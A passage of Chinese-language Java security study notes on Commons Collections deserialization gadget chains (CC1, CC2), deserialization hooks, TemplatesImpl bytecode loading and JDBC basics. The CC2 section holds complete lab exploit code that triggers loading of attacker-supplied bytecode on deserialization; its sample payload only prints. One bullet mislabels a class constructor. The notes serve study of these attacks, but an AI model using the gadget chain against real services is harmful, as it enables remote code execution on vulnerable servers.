        private static final long serialVersionUID = 6182022883658399397 L;
        private final Class < ? extends Annotation > type;
        private final Map < String, Object > memberValues;
    
        AnnotationInvocationHandler(Class < ? extends Annotation > type, Map < String, Object >
            memberValues) {
            Class < ? > [] superInterfaces = type.getInterfaces();
            if (!type.isAnnotation() ||
                superInterfaces.length != 1 ||
                superInterfaces[0] != java.lang.annotation.Annotation.class)
                throw new AnnotationFormatError(
                    "Attempt to create proxy for a non-annotation type.");
            this.type = type;
            this.memberValues = memberValues;
        }
        
        ...
        
        private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
            s.defaultReadObject();
    
            // Check to make sure that types have not evolved incompatibly
    
            AnnotationType annotationType = null;
            try {
                annotationType = AnnotationType.getInstance(type);
            } catch (IllegalArgumentException e) {
                // Class is no longer an annotation type; time to punch out
                throw new java.io.InvalidObjectException(
                    "Non-annotation type in annotation serial stream");
            }
    
            Map < String, Class < ? >> memberTypes = annotationType.memberTypes();
    
            // If there are annotation members without values, that
            // situation is handled by the invoke method.
            for (Map.Entry < String, Object > memberValue: memberValues.entrySet()) {
                String name = memberValue.getKey();
                Class < ? > memberType = memberTypes.get(name);
                if (memberType != null) { // i.e. member still exists
                    Object value = memberValue.getValue();
                    if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) {
                        memberValue.setValue(
                            new AnnotationTypeMismatchExceptionProxy(
                                value.getClass() + "[" + value + "]"
                            ).setMember(
                                annotationType.members().get(name)
                            )
                        );
                    }
                }
            }
        }
    }

    在反序列化某个类时, 如果这个类定义了 readObject 方法, JVM 会在反序列化时自动调用这个方法.

    而这个方法中正好有我们要的 entrySet(). 现在我们的目标就是控制 memberValues, 使之成为 TransformedMap, 就能一路调用到 setValue() (显然我们的利用链无所谓 value 是什么). 而 memberValues 是构建参数, 我们构建时直接传入 TransformedMap 即可.

    链子里的 iterator() 和 next() 去哪里了?

    这两个方法看名字就能猜到是迭代器构建和迭代一次的方法, 实际上也确实是.

    for 循环实际上就是迭代某个迭代器的过程, 稍微改写一下, 可以写成这样:

    java
    Iterator it = memberValues.entrySet().iterator();
    
    while (it.hasNext()) {
     Map.Entry memberValue = (Map.Entry) it.next();
    
     ...
     memberValue.setValue(...);
    }

    memberValues.entrySet() 得到的实际上就是我们构造的 innerMap, 所以链子非常通畅.

  • 最后还有一个 !(memberType.isInstance(value) || value instanceof ExceptionProxy 的条件需要满足. 我们的 transformedMap 调用 entrySet() 后, map 是 innerMap, 经过 iterator() 和 next() 后, memberValue 就是 innerMap 中的首项即 "value" : "not-a-retention-policy".

    这里我们可以推断出 name 为 "value", memberTypes.get(name) 会得到 RetentionPolicy (Retention 中有个方法 value 类型为 RetentionPolicy, 所以我们的首项名为 "value" 还有这层作用), value 的类型显然是 String , 而不是 RetentionPolicy, 这里就能直接通过 if 触发 setValue, 接着触发 checkSetValue. 注意这里是 valueTransformer.transform(value);, 这个 valueTransformer 我们是单独设置的, 所以直接可以触发利用链.

到这里整条链子终于是完整了, 并且基本具体到了每个细节. 虽然是基础 CC 链, 全部理顺还是废了不少功夫的. 其中也是有许多小技巧, 如果站在发现这个链子的角度来说, 对于基础知识的要求真是极高啊.

反序列化 Hook

在反序列化试图从字节流中恢复对象时, 如果该对象存在一些特殊方法, JVM 会在恢复对象的过程中尝试执行他们. 这些方法就是反序列化 Hook 方法. 这类方法有很多, 并且都比较重要, 我们一个个看.

  • readObject

    类实现 Serializable 后, 如果定义这个固定签名:

    java
    private void readObject(ObjectInputStream inputStream)
    	    throws IOException, ClassNotFoundException

    反序列化该对象时,JVM 会自动调用它. CC1 就是利用他来触发的.

  • readResolve

    反序列化对象字段恢复完成后, 如果类里有:

    java
    private Object readResolve() throws ObjectStreamException

    它可以替换最终返回的对象.

    比如, 某个类如下定义:

    java
    public class ReadResolveHookMessage implements Serializable {
    
        private String value;
    
        public ReadResolveHookMessage(String value) {
            this.value = value;
        }
    
        private Object readResolve() throws ObjectStreamException {
            return new SimpleMessage("resolved-from-" + value);
        }
    }

    则当反序列化他的实例时, 最终返回的是 SimpleMessage 实例.

  • writeReplace

    序列化时, 在写入字节流之前替换对象.

    比如:

    java
    public class WriteReplaceHookMessage implements Serializable {
    
        private String value;
    
        public WriteReplaceHookMessage(String value) {
            this.value = value;
        }
    
        private Object writeReplace() throws ObjectStreamException {
            return new SimpleMessage("write-replace-hidden-original-" + value);
        }
    }

    则当准备序列化他的实例时, 对应的字节流会先被替换为 SimpleMessage 实例, 再序列化. 之后反序列化的时候自然也是反序列化 SimpleMessage 实例了.

  • writeExternal & readExternal

    原本序列化时, 写入字节码的内容由 JVM 来确定, 过程也对用户透明. 如果想控制这一过程, 则需要让类实现 Externalizable 接口, 并且需要自己写序列化, 反序列化的方法, 也就是 writeExternal 与 readExternal.

    例如:

    java
    public class ExternalizableHookMessage implements Externalizable {
    
        private String value;
    
        public ExternalizableHookMessage() {
            HookEventLog.record("ExternalizableHookMessage.public no-arg constructor");
        }
    
        public ExternalizableHookMessage(String value) {
            this.value = value;
        }
    
        @Override
        public void writeExternal(ObjectOutput output) throws IOException {
            output.writeUTF(value);
        }
    
        @Override
        public void readExternal(ObjectInput input) throws IOException, ClassNotFoundException {
            HookEventLog.record("ExternalizableHookMessage.readExternal: before readUTF");
            value = input.readUTF();
            HookEventLog.record("ExternalizableHookMessage.readExternal: after readUTF value=" + value);
        }
    }

    有一个注意点, 实现 Externalizable 的类是必须要有无参构造方法的. 因为 JVM 处理 Externalizable 类时, 不再绕过构造方法直接写字段值, 而是会实际先调用无参构造方法, 再把输入流交给实例让他自己恢复.

  • validateObject

    在反序列化恢复对象完成时, 最后检查恢复出来的对象是否合法. 通过实现 ObjectInputValidation 接口, 即实现 public void validateObject() 来检查. 检查的内容大多业务相关(反序列化不至于会恢复结构错误的对象, 但是不保证内容安全).

    例如:

    java
    public class TransferDraft implements Serializable, ObjectInputValidation {
    
        private String fromAccount;
        private String toAccount;
        private long amountCents;
        private String currency;
    
        private void readObject(ObjectInputStream in)
                throws IOException, ClassNotFoundException {
            in.defaultReadObject();
    
            in.registerValidation(this, 0);
        }
    
        @Override
        public void validateObject() throws InvalidObjectException {
            if (fromAccount == null || fromAccount.isBlank()) {
                throw new InvalidObjectException("fromAccount is required");
            }
    
            if (toAccount == null || toAccount.isBlank()) {
                throw new InvalidObjectException("toAccount is required");
            }
    
            if (fromAccount.equals(toAccount)) {
                throw new InvalidObjectException("fromAccount and toAccount must be different");
            }
    
            if (amountCents <= 0) {
                throw new InvalidObjectException("amountCents must be positive");
            }
    
            if (!Set.of("CNY", "USD", "EUR").contains(currency)) {
                throw new InvalidObjectException("unsupported currency");
            }
        }
    }

XSLT 与 TransletClassLoader

XSLT( Extensible Stylesheet Language Transformations ) 是一种将 xml 转换为其他格式语言的工具语言. 文字描述三言两语说不清楚, 所以这里直接来一个正常应用的代码, 先熟悉一下这玩意:

java
package lab;

import javax.xml.transform.Templates;
import javax.xml.transform.Transformer;
import javax.xml.transform.TransformerFactory;
import javax.xml.transform.stream.StreamResult;
import javax.xml.transform.stream.StreamSource;
import java.io.StringReader;
import java.io.StringWriter;
import java.lang.reflect.Field;

public class NormalTemplatesUsageDemo {

    public static void main(String[] args) throws Exception {
        String xslt = ""
                + "<xsl:stylesheet version=\"1.0\" "
                + "xmlns:xsl=\"http://www.w3.org/1999/XSL/Transform\">"
                + "<xsl:output method=\"text\"/>"
                + "<xsl:template match=\"/user\">"
                + "Hello <xsl:value-of select=\"name\"/>!"
                + "</xsl:template>"
                + "</xsl:stylesheet>";
        // xslt 是一段 XSLT, 即指示如何转换的模板.
        // 这里的作用是, 当匹配到 XML 根节点 /user 时, 输出文本:Hello + user/name 的值 + !

        String xml = ""
                + "<user>"
                + "<name>Alice</name>"
                + "</user>";
        // 准备被转换的 xml

        TransformerFactory factory = TransformerFactory.newInstance(); // 创建 TransformerFactory 实例
        // TransformerFactory 是 XSLT 转换工厂, 负责找到具体 XSLT 引擎实现, 编译 XSLT,生成 Templates, 以及直接创建 Transformer
        System.out.println("TransformerFactory impl = " + factory.getClass().getName());
        // TransformerFactory impl = com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl

        Templates templates = factory.newTemplates(new StreamSource(new StringReader(xslt))); // 编译 XSLT
        // 这里的类型是 Templates, 这是个接口, 实际类型就是 TemplatesImpl
        System.out.println("Templates impl          = " + templates.getClass().getName());
        // Templates impl          = com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

        printTemplatesImplFields(templates, "after newTemplates");
        // --- after newTemplates ---
        // _name       = GregorSamsa
        // _bytecodes  = byte[1][]
        //               [0] length=3434
        // _class      = null

        Transformer transformer = templates.newTransformer();
        // 从编译好的 Templates 中创建一个 Transformer,用于实际转换 XML. 他的实现涉及到字节码转换, 比较重要, 后述
        System.out.println("Transformer impl        = " + transformer.getClass().getName());
        // Transformer impl        = com.sun.org.apache.xalan.internal.xsltc.trax.TransformerImpl

        printTemplatesImplFields(templates, "after newTransformer");
        // --- after newTransformer ---
        // _name       = GregorSamsa
        // _bytecodes  = byte[1][]
        //               [0] length=3434
        // _class      = Class[1]
        //               [0] GregorSamsa loader=com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl$TransletClassLoader

        StringWriter output = new StringWriter(); // 准备输出容器, 这个对象用来接收转换结果.
        transformer.transform(
                new StreamSource(new StringReader(xml)),
                new StreamResult(output)
        ); // 真实业务转换, 把 xml 字符串当作 XML 输入源, 把转换结果写到 StringWriter output 里.

        System.out.println("Transform result        = " + output.toString().trim());
        // Transform result        = Hello Alice!
    }

    private static void printTemplatesImplFields(Object templates, String stage) throws Exception {
        Class<?> clazz = templates.getClass();
        System.out.println("--- " + stage + " ---");
        System.out.println("_name       = " + readField(clazz, templates, "_name"));
        // 反射读取 templates._name. 这个 _name 是 private 字段.

        Object bytecodesObject = readField(clazz, templates, "_bytecodes"); // 反射读取 templates._bytecodes
        if (bytecodesObject instanceof byte[][]) {
            byte[][] bytecodes = (byte[][]) bytecodesObject;
            System.out.println("_bytecodes  = byte[" + bytecodes.length + "][]");
            for (int i = 0; i < bytecodes.length; i++) {
                System.out.println("              [" + i + "] length=" + bytecodes[i].length);
            }
        } else {
            System.out.println("_bytecodes  = " + bytecodesObject);
        }

        Object classesObject = readField(clazz, templates, "_class"); // 反射读取 templates._class
        if (classesObject instanceof Class[]) {
            Class[] classes = (Class[]) classesObject;
            System.out.println("_class      = Class[" + classes.length + "]");
            for (int i = 0; i < classes.length; i++) {
                System.out.println("              [" + i + "] " + classes[i].getName()
                        + " loader=" + classes[i].getClassLoader().getClass().getName());
            }
        } else {
            System.out.println("_class      = " + classesObject);
        }
    }

    private static Object readField(Class<?> clazz, Object target, String name) throws Exception {
        Field field = clazz.getDeclaredField(name);
        field.setAccessible(true);
        return field.get(target);
    }
}

我们分析一下整个转换流程:

  1. TransformerFactory factory = TransformerFactory.newInstance();

    创建一个 TransformerFactory 的具体实现实例. TransformerFactory 本身是接口, 这里的 factory 是 TransformerFactoryImpl 实例.

  2. Templates templates = factory.newTemplates(new StreamSource(new StringReader(xslt)));

    创建一个 Templates 的实现实例 templates,其真实类型是 TemplatesImpl.

    调用 XSLTC 编译 xslt, 其结果是模板对应的字节码, 将这些字节码放到 templates._bytecodes[][] 中.

    补充说明:

    • 这里的字节码是 translet 类的字节码, 可以等同于 translet 类的 .class 文件流.
    • templates._bytecodes[][] 是二维字节数组, 因为一个模板可能会产生多个 translet 类的字节码.
  3. Transformer transformer = templates.newTransformer();

    根据 templates 创建一个 Transformer 实现实例, transformer 是 TransformerImpl 实例. transformer 是可以用的模板, 只需要输入 xml 即可将其转换为对应格式.

    这里实例化 transformer 的过程有一部分是将 templates._bytecodes[][] 通过 defineClass 加载为 Class<?>, 放到 templates._class[] 中.

    通过输出我们可以发现, 这里的 ClassLoader 是 TransletClassLoader, 这是一种自定义 ClassLoader. 因为原本负责加载这种第三方依赖类的加载器 AppClassLoader 通常从 .class 文件中寻找字节码, 但是这里的字节码不在任何 .class 文件里, 而是在 TemplatesImpl._bytecodes 中. TransletClassLoader 是 TemplatesImpl 为了 **从内存字节数组定义编译后 Translet **专门提供的子类; 它只负责定义 Translet/辅助类, 其他依赖仍遵循父加载器委派机制.

    这里就是攻击链中的一个比较重要的点, 如果有办法能够控制 templates._bytecodes, 就有加载恶意类的可能了.

    TransletClassLoader 通常是 defineTransletClasses() 中创建的局部对象, 使用 TransletClassLoader 加载类的流程大致如下:

    1. TemplatesImpl.defineTransletClasses()
    2. 创建 TransletClassLoader
    3. 调用 loader.defineClass(byte[])

    源码中的体现:

    java
    private void defineTransletClasses() throws TransformerConfigurationException {
    	if (this._bytecodes == null) {
    		ErrorMsg err = new ErrorMsg("NO_TRANSLET_CLASS_ERR");
            throw new TransformerConfigurationException(err.toString());
        } else {
        	TransletClassLoader loader = (TransletClassLoader)AccessController.doPrivileged(new 3(this));
        	...
            try {
                ...
                for(int i = 0; i < classCount; ++i) {
                    this._class[i] = loader.defineClass(this._bytecodes[i], pd);
                    Class<?> superClass = this._class[i].getSuperclass();
                    if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                        this._transletIndex = i;
                    } else {
                        this._auxClasses.put(this._class[i].getName(), this._class[i]);
                    }
                	...
                }
                ...
            }
            ...
        }
        ...
    }
    

    defineTransletClasses() 这个方法是负责遍历所有字节码, 逐个加载并组织起来的方法, 并不直接加载类, 比较容易混淆.

  4. transformer.transform(...) 用已经创建好的 transformer,把 XML 转换成最终结果.

    output 是转换完毕的结果.

实验代码

理解完上面那段代码, 我们就能掌握攻击时的核心了. 其实就是想办法往 templates 的 _bytecodes 里写一个恶意类的字节码, 接着当 templates.newTransformer(); 运行时, 就可以触发类加载, 恶意类加载进 JVM, 攻击就成功了.

这里有个简单的演示样例:

java
package lab;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.xml.transform.Transformer;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;

public class RealTemplatesImplTriggerDemo {

    public static void main(String[] args) throws Exception {
        String classFile = args.length > 0
                ? args[0]
                : "classes/lab/HarmlessTransletPayload.class";

        byte[] payloadClassBytes = Files.readAllBytes(Paths.get(classFile));
        System.out.println("payload class file = " + classFile);
        System.out.println("payload bytes      = " + payloadClassBytes.length);

        TemplatesImpl templates = new TemplatesImpl();
        setField(templates, "_name", "RealTemplatesImplLab");
        setField(templates, "_bytecodes", new byte[][]{payloadClassBytes});
        setField(templates, "_tfactory", new TransformerFactoryImpl());

        System.out.println("TemplatesImpl prepared");
        System.out.println("before trigger: _class = " + readField(templates, "_class"));

        System.out.println("trigger: templates.newTransformer()");
        Transformer transformer = templates.newTransformer();

        System.out.println("after trigger: transformer = " + transformer.getClass().getName());
        printDefinedClasses(templates);
    }

    private static void printDefinedClasses(TemplatesImpl templates) throws Exception {
        Object value = readField(templates, "_class");
        if (!(value instanceof Class[])) {
            System.out.println("after trigger: _class = " + value);
            return;
        }

        Class[] classes = (Class[]) value;
        System.out.println("after trigger: _class length = " + classes.length);
        for (int i = 0; i < classes.length; i++) {
            Class<?> clazz = classes[i];
            System.out.println("  _class[" + i + "] = " + clazz.getName()
                    + ", loader=" + clazz.getClassLoader().getClass().getName());
        }
    }

    private static void setField(Object target, String name, Object value) throws Exception {
        Field field = target.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(target, value);
    }

    private static Object readField(Object target, String name) throws Exception {
        Field field = target.getClass().getDeclaredField(name);
        field.setAccessible(true);
        return field.get(target);
    }
}

关键在于两点, byte[] payloadClassBytes = Files.readAllBytes(Paths.get(classFile)); 将 classFile 中的内容转换为字节码, setField(templates, "_bytecodes", new byte[][]{payloadClassBytes}); 将这些字节码放入 templates._bytecodes 中. 理论上只需要有办法能把恶意类字节流放入 templates._bytecodes, 之后触发类加载时就会将其加载入 JVM 了.

CC 链 : CC2

这次的环境也是老古董, 但是 CC 的版本要改动一下, 改成 org.apache.commons:commons-collections4:4.0.

装好环境, 我们照旧先放实验利用代码.

首先是测试用的 payload, 比较简短, 我们先分析:

java
package lab;

import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;

public class HarmlessTransletPayload extends AbstractTranslet {

    static {
        System.out.println("[HarmlessTransletPayload] static initializer: class initialized by TemplatesImpl");
    }

    public HarmlessTransletPayload() {
        this.transletVersion = AbstractTranslet.CURRENT_TRANSLET_VERSION;
        System.out.println("[HarmlessTransletPayload] constructor: translet instance created by TemplatesImpl");
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers)
            throws TransletException {
        System.out.println("[HarmlessTransletPayload] transform(DOM, SerializationHandler[]) called");
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
            throws TransletException {
        System.out.println("[HarmlessTransletPayload] transform(DOM, DTMAxisIterator, SerializationHandler) called");
    }
}

CC2 的最终触发点是 Xalan ClassLoader, 也就是 TransletClassLoader.

这里我们重写了 transform 方法, 但是实际上这另两个方法不一定会被调用到, 更稳妥的方式是把攻击载荷写到 static 块中, 或者写到构造方法, 他们更容易被运行到. 这个 paylaod 整体很简单, 我们着重看调用链:

java
package lab;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class Cc2TemplatesImplDemo {

    public static void main(String[] args) throws Exception {
        System.out.println("== CC2 TemplatesImpl local harmless demo ==");

        TemplatesImpl templates = buildTemplatesImpl("build/classes/lab/HarmlessTransletPayload.class");
        System.out.println("[1] Prepared TemplatesImpl with harmless translet bytecode");
        System.out.println("    _bytecodes length = " + ((byte[][]) readField(templates, "_bytecodes")).length);
        System.out.println("    _class before trigger = " + readField(templates, "_class"));

        PriorityQueue<Object> queue = buildCc2Queue(templates);
        System.out.println("[2] Prepared PriorityQueue gadget object");

        byte[] serialized = serialize(queue);
        System.out.println("[3] Serialized gadget bytes = " + serialized.length);

        System.out.println("[4] Deserializing now; trigger starts inside ObjectInputStream.readObject()...");
        try {
            Object result = deserialize(serialized);
            System.out.println("[5] Deserialization returned: " + result.getClass().getName());
        } catch (Throwable throwable) {
            System.out.println("[5] Deserialization ended with expected lab exception after trigger:");
            System.out.println("    " + throwable.getClass().getName() + ": " + throwable.getMessage());
        }
    }

    private static TemplatesImpl buildTemplatesImpl(String classFile) throws Exception {
        byte[] classBytes = Files.readAllBytes(Paths.get(classFile));

        TemplatesImpl templates = new TemplatesImpl();
        setField(templates, "_name", "Cc2TemplatesImplLab");
        setField(templates, "_bytecodes", new byte[][]{classBytes});
        setField(templates, "_tfactory", new TransformerFactoryImpl());
        return templates;
    }

    private static PriorityQueue<Object> buildCc2Queue(TemplatesImpl templates) throws Exception {
        InvokerTransformer<Object, Object> invoker = new InvokerTransformer<Object, Object>(
                "toString",
                new Class[0],
                new Object[0]
        );

        // The first transformer invokes TemplatesImpl.newTransformer().  The
        // second one returns a harmless Comparable value so PriorityQueue can
        // complete its heap comparison after the invocation.
        Transformer<Object, Object> transformer = new ChainedTransformer<Object>(
                new Transformer[]{
                        invoker,
                        new ConstantTransformer<Object, Object>(Integer.valueOf(0))
                }
        );

        TransformingComparator<Object, Object> comparator =
                new TransformingComparator<Object, Object>(transformer);

        PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
        queue.add("safe-one");
        queue.add("safe-two");

        setField(invoker, "iMethodName", "newTransformer");
        setField(queue, "queue", new Object[]{templates, templates});

        return queue;
    }

    private static byte[] serialize(Object object) throws Exception {
        ByteArrayOutputStream byteStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteStream);
        objectOutputStream.writeObject(object);
        objectOutputStream.close();
        return byteStream.toByteArray();
    }

    private static Object deserialize(byte[] data) throws Exception {
        ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(data));
        Object object = objectInputStream.readObject();
        objectInputStream.close();
        return object;
    }

    private static void writeFile(String path, byte[] data) throws Exception {
        FileOutputStream outputStream = new FileOutputStream(path);
        outputStream.write(data);
        outputStream.close();
    }

    private static void setField(Object target, String name, Object value) throws Exception {
        Field field = target.getClass().getDeclaredField(name);
        field.setAccessible(true);
        field.set(target, value);
    }

    private static Object readField(Object target, String name) throws Exception {
        Field field = target.getClass().getDeclaredField(name);
        field.setAccessible(true);
        return field.get(target);
    }
}

我们得先读懂这些代码. 分成各个部分解释一些初见的代码吧, 其实明面上主要是 buildCc2Queue() 方法:

  • TransformingComparator<I, O>, 其构造函数为 InvokerTransformer(String methodName, Class<?>[] paramTypes, Object[] args), 接收一个对象, 按照预先保存的方法名(methodName), 参数类型(paramTypes)和参数值(args), 反射调用该对象的方法. 同时是个泛型转换器, 接收 I 类型参数, 输出 O 类型的对象, 可以看作是:

    java
    Method method = input.getClass().getMethod("toString");
    O result = method.invoke(input);
    return result;
  • Transformer<I, O> 本身就是类型转换, 对输入的 I 对象经过某些操作输出 O, 这是一个接口, 实际类型是 ChainedTransformer, 其 transform 方法会将上一次 transform 的输出作为下一次的输入. 类似于:

    java
    public Object transform(Object input) {
        Object result = input;
        for (Transformer transformer : transformers) {
            result = transformer.transform(result);
        }
        return result;
    }

    ConstantTransformer 是一个用于固定返回的泛型转换器, 不论输入, 其 transform 方法固定返回构建时的参数(这里是 Integer.valueOf(0)). 这里用于之后的比较.

  • TransformingComparator 比较器, 为之后的优先级队列做准备. 这里用的是单参数的构造方法, 意味着其使用自然顺序比较器 (Comparable 实现). 其逻辑大致如下:

    java
    public int compare(I left, I right) {
        O leftResult = transformer.transform(left);
        O rightResult = transformer.transform(right);
        return decorated.compare(leftResult, rightResult);
    }

    会发现这里用到了 transform, 这就是关键所在!

  • PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);

    新建一个 PriorityQueue 实例, 这是优先级队列, 根据某种优先级来决定哪个项先出队, 他是靠堆实现的.

    第一个参数是内部数组的初始容量, 第二个参数是比较器.

    使用 add() 方法可以使得元素入堆(最后一项), 如果入堆后其存在父节点, 那么就会触发比较. 这里就是触发 comparator.compare(). 比较器是我们自己写的, 所以这里的流程是这样的:

    • 触发 transformer.transform("safe-one"), 即 ChainedTransformer.transform("safe-one")
    • 触发 invoker.transform("safe-one"), 即 InvokerTransformer.transform("safe-one"), 得到 "safe-one".toString()
    • 触发 ConstantTransformer.transform("safe-one".toString()), 得到 Integet(0)

    另一侧也是如此. 所以这里的比较其实是为了之后铺路, 本身不触发什么敏感动作.

  • 接着是两个 setField(). 这两个操作之后, 下次比较时触发的就是 templates.newTransformer, 可以触发我们的字节码加载了.

    之前的两个 add 后来直接改了, 似乎完全没有必要, 为什么要这样做呢? 有几个原因.

    1. PriorityQueue 存在一个 size 字段, 这个字段表示当前堆中有多少元素. 然而直接反射修改 queue[] 字段是不会使得 size 改变的(也就是 0), 而 size 为 0 时是不可能触发 compare 的, 所以先加两个项进去(显然 1 个项也不会触发比较)
    2. 那为什么不同时修改 size 呢? 其实是可以的, 无伤大雅. 但是先放两个无所谓的项能够完美的保证结构没问题, 相对来说更加稳定一些.

然后就直接序列化, 走反序列化了. 但是这里还有奇妙之处, 因为其必须要触及优先级队列的比较才行.

优先级队列的 readObject() 和 writeObject() 都是重写过的, 因为要单独处理 queue[] 中的序列化. 这里的重点是 readObject() 在最后会调用一个 heapify() 方法. 这个方法会检查整个堆, 代码如下:

java
private void heapify() {
    Object[] es = this.queue;
    int n = this.size;
    int i = (n >>> 1) - 1; // 计算最后一个非叶子节点
    Comparator < ? super E > cmp;
    if ((cmp = this.comparator) == null) { // 没有自定义比较器的情况
        while (i >= 0) {
            siftDownComparable(i, es[i], es, n);
            --i;
        }
    } else { // 存在自定义比较器的情况
        while (i >= 0) {
            siftDownUsingComparator(i, es[i], es, n, cmp);
            --i;
        }
    }
}

我们再看到 siftDownUsingComparator() 方法, 因为这里我们的比较器是自定义的.

java
private static < T > void siftDownUsingComparator(
    int k,
    T x,
    Object[] es,
    int n,
    Comparator<? super T> cmp) {
    
    int child;
    for (int half = n >>> 1; k < half; k = child) {
        child = (k << 1) + 1;
        Object c = es[child];
        int right = child + 1;
        if (right < n && cmp.compare(c, es[right]) > 0) {
            child = right;
            c = es[right];
        }
        if (cmp.compare(x, c) <= 0) {
            break;
        }
        es[k] = c;
    }
    es[k] = x;
}

这就是一个调整堆的过程, 但是我们关注的是 cmp.compare(...) 这里. 显然这里调用到了比较, 根据之前的分析, 只要比较就会触发 transform(), 进而触发我们的恶意类字节码加载. 并且这里是必定触发比较的 ( cmp.compare(x, c) <= 0 ), 同时比较的对象 x 为某个非叶子节点, c 是这个节点的左子节点. 我们的示例中就是如此.

整体流程就是如此. 在已经有关键部分的基础知识之后, 学习这条链子会轻松许多.

JDBC

JDBC 全称 Java Database Connectivity, 可以理解为 Java 操作数据库的一套接口. 一个 Java 程序和数据库交互的过程大致如下 (以 MySQL 为例) :

Java 程序
  → JDBC 接口
  → MySQL JDBC 驱动的实现
  → 与 MySQL 通信
  → 数据库执行 SQL
  → 返回结果

我们先来一个原生 JDBC 的示例:

java
package lab;

import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.PreparedStatement;
import java.sql.ResultSet;

public class JdbcInjectionDemo {
    public static void main(String[] args) throws Exception {
        String url = System.getenv().getOrDefault(
                "JDBC_URL",
                "jdbc:mysql://127.0.0.1:3306/javasec_lab?useSSL=false&allowPublicKeyRetrieval=true&serverTimezone=UTC");
        String user = System.getenv().getOrDefault("JDBC_USER", "javasec");
        String password = System.getenv().getOrDefault("JDBC_PASSWORD", "javasecpass_q^13d#f4q");
        String input = args.length == 0 ? "alice" : args[0];

        Class.forName("com.mysql.cj.jdbc.Driver");

        String sql = "SELECT ? AS username";

        try (Connection connection = DriverManager.getConnection(url, user, password);
             PreparedStatement statement = connection.prepareStatement(sql)) {
            statement.setString(1, input);

            try (ResultSet resultSet = statement.executeQuery()) {
                while (resultSet.next()) {
                    String username = resultSet.getString("username");
                    System.out.println(username);
                }
            }
        }
    }
}

从头看这个流程, 首先分析一下这个 URL jdbc:mysql://127.0.0.1:3306/javasec_lab?useSSL=false&allowPublicKeyRetrieval=true&serverTimezone=UTC"):

  • jdbc 前缀标识这是一个即将使用 JDBC 连接的数据库应用地址, 即 JDBC URL.
  • useSSL=false 表示连接无需 SSL
  • allowPublicKeyRetrieval=true 表示允许驱动在需要时获取服务器的认证公钥
  • serverTimezone=UTC 指定时区

这个 URL 基本配置好了此次链接的一些属性. 接下来写好账号口令和输入, 开始连接数据库:

  1. 首先反射获取一个 com.mysql.cj.jdbc.Driver 类, 这是数据库驱动类, 这里相当于是注册了一个 mysql 驱动. 这里还并没有实际连接数据库. JDBC 定义了一个 java.sql.Driver 接口类负责实现对数据库的连接, 所有的数据库驱动包都必须实现这个接口才能够完成数据库的连接操作,

  2. Connection connection = DriverManager.getConnection(url, user, password) 实际建立连接, DriverManager 是数据库驱动管理器, 注册过的驱动类都由其管理, 他负责根据 JDBC URL 来找到合适的已注册驱动, 并通过这个驱动来联系数据库服务器, 完成认证, 最后返回一个 Connection 对象, 这是后续操作数据库的入口.

    java.sql.DriverManager.getConnection(...) 其实就是间接的调用了 java.sql.Driver 类的 connect 方法实现数据库连接的.

  3. PreparedStatement statement = connection.prepareStatement(sql) 根据 sql 语句创建一个用于执行这条 SQL 的对象 statement, 这是一个参数化对象. 但是这并不意味着 “预编译” 并且安全, 这只是 JDBC 提供的创建参数化语句的方法.

    如果要明确使用数据库的预处理机制, 以 mysql 为例, 可以在 JDBC URL 中加入参数 useServerPrepStmts=true 启用 MySQL 服务端预处理, 加上 emulateUnsupportedPstmts=false, 表示在预处理失败时报错而非更换实现方式.

  4. statement.setString(1, input), 使用之前创建的查询语句对象, 注入参数. 这里是往第一个位置注入变量 input 的值.

  5. ResultSet resultSet = statement.executeQuery() 使用已经准备好的语句交给数据库进行实际查询, 返回是 ResultSet 类对象, 这是个查询结果集, 使用 next() 方法来得到下一行结果.

    要注意一下的是, 这里的 ResultSet 类并不是实现了 Iterable, 它的 next() 方法不是返回下一行的数据, 而是类似指针地指向下一行将其作为目标, 而操作的对象始终是自己.

为什么要反射获取一个 com.mysql.cj.jdbc.Driver ? 我们的解释是 “注册了一个 mysql 驱动”, 但是什么是注册? 在哪里注册?

考虑到 forName() 创建类会触发其 static 块运行, 我们可以扒拉一下源码, 其实不复杂:

java
public class Driver extends NonRegisteringDriver implements java.sql.Driver {

// Register ourselves with the DriverManager.
static {
  try {
      java.sql.DriverManager.registerDriver(new Driver());
  } catch (SQLException E) {
      throw new RuntimeException("Can't register driver!");
  }
}

/**
     * Construct a new driver and register it with DriverManager
     *
     * @throws SQLException
     *             if a database error occurs.
     */
    public Driver() throws SQLException {
        // Required for Class.forName().newInstance().
    }

}

所以所谓注册, 就是调用了 java.sql.DriverManager.registerDriver. 至于这里的原理就非常非常长了, 这里先不赘述.

